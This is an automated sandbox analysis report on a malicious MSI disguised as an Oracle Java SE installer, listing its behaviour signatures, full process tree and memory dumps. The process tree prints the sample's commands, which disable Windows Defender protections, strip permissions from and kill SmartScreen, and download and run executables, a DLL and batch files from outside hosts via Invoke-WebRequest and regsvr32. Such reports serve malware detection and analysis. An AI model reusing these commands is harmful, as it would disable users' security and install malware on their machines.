Resubmissions

02/09/2021, 11:34

210902-2a1l24jhpa8

09/08/2021, 08:27

210809-p9s63bt58n8

Analysis

  • max time kernel
    150s
  • max time network
    148s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    09/08/2021, 08:27

General

  • Target
    dee25db703acc220d63785d7a72cce3817305642f5da1dc6f155d5d693bcde88.msi
  • Size 3.9MB
  • Sample210809-p9s63bt58n
  • SHA256 dee25db703acc220d63785d7a72cce3817305642f5da1dc6f155d5d693bcde88
  • MD5 SHA1 SHA512

Malware Config

Signatures

  • Blocklisted process makes network request 7 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 1 IoCs
  • Possible privilege escalation attempt 3 IoCs
  • Loads dropped DLL 3 IoCs
  • Modifies file permissions 1 TTPs 3 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Enumerates connected drives 3 TTPs 48 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in Program Files directory 27 IoCs
  • Drops file in Windows directory 14 IoCs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 2 IoCs
  • Kills process with taskkill 1 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 23 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\dee25db703acc220d63785d7a72cce3817305642f5da1dc6f155d5d693bcde88.msi
    1⤵
    • Blocklisted process makes network request
    • Enumerates connected drives
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:604
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3632
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 58191B8D72362876A8233B02D8979C03
      2⤵
      • Loads dropped DLL
      PID:3956
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding C1D2C5603A69A5F01ADEB51FD787DCA0 E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Drops file in Windows directory
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3312
      • C:\Windows\syswow64\cmd.exe
        "cmd.exe" /C "C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\setup.bat"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4084
        • C:\Windows\SysWOW64\takeown.exe
          takeown /f "C:\Windows\System32\smartscreen.exe" /a
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:788
        • C:\Windows\SysWOW64\icacls.exe
          icacls "C:\Windows\System32\smartscreen.exe" /reset
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:360
        • C:\Windows\SysWOW64\taskkill.exe
          taskkill /im smartscreen.exe /f
          4⤵
          • Kills process with taskkill
          PID:672
        • C:\Windows\SysWOW64\icacls.exe
          icacls "C:\Windows\System32\smartscreen.exe" /inheritance:r /remove *S-1-5-32-544 *S-1-5-11 *S-1-5-32-545 *S-1-5-18
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:3992
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -command "Add-MpPreference -ExclusionExtension ".exe""
          4⤵
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:820
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath '"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
          4⤵
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:3976
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -command "Add-MpPreference -ExclusionExtension ".dll""
          4⤵
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:3584
        • C:\Windows\SysWOW64\cmd.exe
          cmd /c powershell.exe -command "Set-MpPreference -MAPSReporting 0"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3720
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -command "Set-MpPreference -MAPSReporting 0"
            5⤵
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:184
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -command "Set-MpPreference -PUAProtection disable"
          4⤵
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:868
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -command "Set-MpPreference -EnableControlledFolderAccess Disabled"
          4⤵
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:1692
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -command "Set-MpPreference -DisableBehaviorMonitoring $true"
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:2744
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -command "Set-MpPreference -DisableRealtimeMonitoring $true"
          4⤵
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:2332
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -command "Set-MpPreference -DisableBlockAtFirstSeen $true"
          4⤵
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:744
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -command "Set-MpPreference -DisableIOAVProtection $true"
          4⤵
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:952
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -command "Set-MpPreference -DisablePrivacyMode $true"
          4⤵
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:1376
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -command "Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true"
          4⤵
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:904
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -command "Set-MpPreference -DisableArchiveScanning $true"
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:824
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -command "Set-MpPreference -DisableIntrusionPreventionSystem $true"
          4⤵
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:4008
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -command "Set-MpPreference -DisableScriptScanning $true"
          4⤵
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:2228
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -command "Set-MpPreference -SubmitSamplesConsent 2"
          4⤵
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:3908
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -command "Set-MpPreference -HighThreatDefaultAction 6 -Force"
          4⤵
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:1444
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -command "Set-MpPreference -ModerateThreatDefaultAction 6"
          4⤵
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:4016
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -command "Set-MpPreference -LowThreatDefaultAction 6"
          4⤵
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:1908
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -command "Set-MpPreference -SevereThreatDefaultAction 6"
          4⤵
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:2308
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -command "Set-MpPreference -ScanScheduleDay 8"
          4⤵
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:2340
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell Invoke-WebRequest https://atclouroettfbquhfimp.com/start.EXE -OutFile start.EXE
          4⤵
          • Blocklisted process makes network request
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:4220
        • C:\Windows\SysWOW64\explorer.exe
          explorer.exe "start.EXE"
          4⤵
          • Checks processor information in registry
          • Modifies data under HKEY_USERS
          PID:4524
  • C:\Windows\explorer.exe
    C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
    1⤵
      PID:4144
      • C:\Users\Admin\AppData\Roaming\start.EXE
        "C:\Users\Admin\AppData\Roaming\start.EXE"
        2⤵
        • Executes dropped EXE
        • Adds Run key to start application
        PID:2284
        • C:\Windows\SYSTEM32\cmd.exe
          cmd /c start.bat
          3⤵
            PID:4432
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell Invoke-WebRequest https://gucdhwpcfjmmcefypliv.com/JavaE.dll -OutFile JavaE.dll
              4⤵
              • Blocklisted process makes network request
              PID:2196
            • C:\Windows\system32\regsvr32.exe
              regsvr32 JavaE.dll
              4⤵
                PID:1460
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell Invoke-WebRequest https://gucdhwpcfjmmcefypliv.com/nsudo.bat -OutFile nsudo.bat
                4⤵
                • Blocklisted process makes network request
                PID:4308
              • C:\Windows\system32\cmd.exe
                cmd /c nsudo.bat
                4⤵
                  PID:1468
                • C:\Windows\system32\timeout.exe
                  timeout 25
                  4⤵
                  • Delays execution with timeout.exe
                  PID:4052
                • C:\Windows\system32\cmd.exe
                  cmd /c nsudo.bat
                  4⤵
                    PID:4892
                  • C:\Windows\system32\timeout.exe
                    timeout 25
                    4⤵
                    • Delays execution with timeout.exe
                    PID:2312

            Network

                  MITRE ATT&CK Enterprise v6

                  Replay Monitor

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                  Downloads

                  memory/184-177-0x0000000007F00000-0x0000000007F01000-memory.dmp

                  memory/184-185-0x0000000007E60000-0x0000000007E61000-memory.dmp

                  memory/184-157-0x0000000006FC0000-0x0000000006FC1000-memory.dmp

                  memory/184-166-0x0000000006FC2000-0x0000000006FC3000-memory.dmp

                  memory/184-317-0x0000000006FC3000-0x0000000006FC4000-memory.dmp

                  memory/184-253-0x000000007E1A0000-0x000000007E1A1000-memory.dmp

                  memory/184-169-0x0000000007590000-0x0000000007591000-memory.dmp

                  memory/184-189-0x0000000008700000-0x0000000008701000-memory.dmp

                  memory/744-1537-0x00000000068B3000-0x00000000068B4000-memory.dmp

                  memory/744-1260-0x00000000068B2000-0x00000000068B3000-memory.dmp

                  memory/744-1248-0x00000000068B0000-0x00000000068B1000-memory.dmp

                  memory/820-165-0x0000000004AB2000-0x0000000004AB3000-memory.dmp

                  memory/820-308-0x0000000004AB3000-0x0000000004AB4000-memory.dmp

                  memory/820-153-0x0000000006B30000-0x0000000006B31000-memory.dmp

                  memory/820-226-0x0000000009060000-0x0000000009093000-memory.dmp

                  memory/820-246-0x000000007EBB0000-0x000000007EBB1000-memory.dmp

                  memory/820-251-0x0000000009040000-0x0000000009041000-memory.dmp

                  memory/820-181-0x0000000007C60000-0x0000000007C61000-memory.dmp

                  memory/820-173-0x0000000007900000-0x0000000007901000-memory.dmp

                  memory/820-160-0x0000000004AB0000-0x0000000004AB1000-memory.dmp

                  memory/824-1219-0x0000000007550000-0x0000000007551000-memory.dmp

                  memory/824-1565-0x0000000007553000-0x0000000007554000-memory.dmp

                  memory/824-1223-0x0000000007552000-0x0000000007553000-memory.dmp

                  memory/868-1235-0x0000000007102000-0x0000000007103000-memory.dmp

                  memory/868-1192-0x0000000007100000-0x0000000007101000-memory.dmp

                  memory/868-1357-0x0000000007103000-0x0000000007104000-memory.dmp

                  memory/904-1562-0x0000000006423000-0x0000000006424000-memory.dmp

                  memory/904-1209-0x0000000006420000-0x0000000006421000-memory.dmp

                  memory/904-1213-0x0000000006422000-0x0000000006423000-memory.dmp

                  memory/952-1276-0x0000000004B30000-0x0000000004B31000-memory.dmp

                  memory/952-1195-0x0000000004B32000-0x0000000004B33000-memory.dmp

                  memory/952-1561-0x0000000004B33000-0x0000000004B34000-memory.dmp

                  memory/1376-1216-0x0000000006F02000-0x0000000006F03000-memory.dmp

                  memory/1376-1564-0x0000000006F03000-0x0000000006F04000-memory.dmp

                  memory/1376-1207-0x0000000006F00000-0x0000000006F01000-memory.dmp

                  memory/1444-1271-0x0000000005270000-0x0000000005271000-memory.dmp

                  memory/1444-1268-0x0000000005272000-0x0000000005273000-memory.dmp

                  memory/1692-1225-0x00000000035D2000-0x00000000035D3000-memory.dmp

                  memory/1692-1468-0x00000000035D3000-0x00000000035D4000-memory.dmp

                  memory/1692-1199-0x00000000035D0000-0x00000000035D1000-memory.dmp

                  memory/1908-1298-0x0000000006650000-0x0000000006651000-memory.dmp

                  memory/1908-1301-0x0000000006652000-0x0000000006653000-memory.dmp

                  memory/2228-1252-0x0000000004D12000-0x0000000004D13000-memory.dmp

                  memory/2228-1243-0x0000000004D10000-0x0000000004D11000-memory.dmp

                  memory/2308-1308-0x0000000006FB0000-0x0000000006FB1000-memory.dmp

                  memory/2308-1312-0x0000000006FB2000-0x0000000006FB3000-memory.dmp

                  memory/2332-1237-0x0000000007302000-0x0000000007303000-memory.dmp

                  memory/2332-1200-0x0000000007300000-0x0000000007301000-memory.dmp

                  memory/2332-1493-0x0000000007303000-0x0000000007304000-memory.dmp

                  memory/2340-1314-0x0000000007230000-0x0000000007231000-memory.dmp

                  memory/2340-1306-0x0000000007232000-0x0000000007233000-memory.dmp

                  memory/2744-1203-0x0000000007490000-0x0000000007491000-memory.dmp

                  memory/2744-1239-0x0000000007492000-0x0000000007493000-memory.dmp

                  memory/2744-1507-0x0000000007493000-0x0000000007494000-memory.dmp

                  memory/3584-193-0x00000000088D0000-0x00000000088D1000-memory.dmp

                  memory/3584-158-0x0000000005040000-0x0000000005041000-memory.dmp

                  memory/3584-250-0x000000007F480000-0x000000007F481000-memory.dmp

                  memory/3584-312-0x0000000005043000-0x0000000005044000-memory.dmp

                  memory/3584-162-0x0000000007720000-0x0000000007721000-memory.dmp

                  memory/3584-167-0x0000000005042000-0x0000000005043000-memory.dmp

                  memory/3908-1264-0x0000000006D32000-0x0000000006D33000-memory.dmp

                  memory/3908-1566-0x0000000006D33000-0x0000000006D34000-memory.dmp

                  memory/3908-1256-0x0000000006D30000-0x0000000006D31000-memory.dmp

                  memory/3976-159-0x00000000070E0000-0x00000000070E1000-memory.dmp

                  memory/3976-242-0x000000007F6F0000-0x000000007F6F1000-memory.dmp

                  memory/3976-322-0x00000000070E3000-0x00000000070E4000-memory.dmp

                  memory/3976-168-0x00000000070E2000-0x00000000070E3000-memory.dmp

                  memory/4008-1490-0x0000000004E23000-0x0000000004E24000-memory.dmp

                  memory/4008-1232-0x0000000004E22000-0x0000000004E23000-memory.dmp

                  memory/4008-1229-0x0000000004E20000-0x0000000004E21000-memory.dmp

                  memory/4016-1278-0x0000000006DC2000-0x0000000006DC3000-memory.dmp

                  memory/4016-1275-0x0000000006DC0000-0x0000000006DC1000-memory.dmp

                  memory/4220-1329-0x00000000040A2000-0x00000000040A3000-memory.dmp

                  memory/4220-1563-0x00000000040A3000-0x00000000040A4000-memory.dmp

                  memory/4220-1328-0x00000000040A0000-0x00000000040A1000-memory.dmp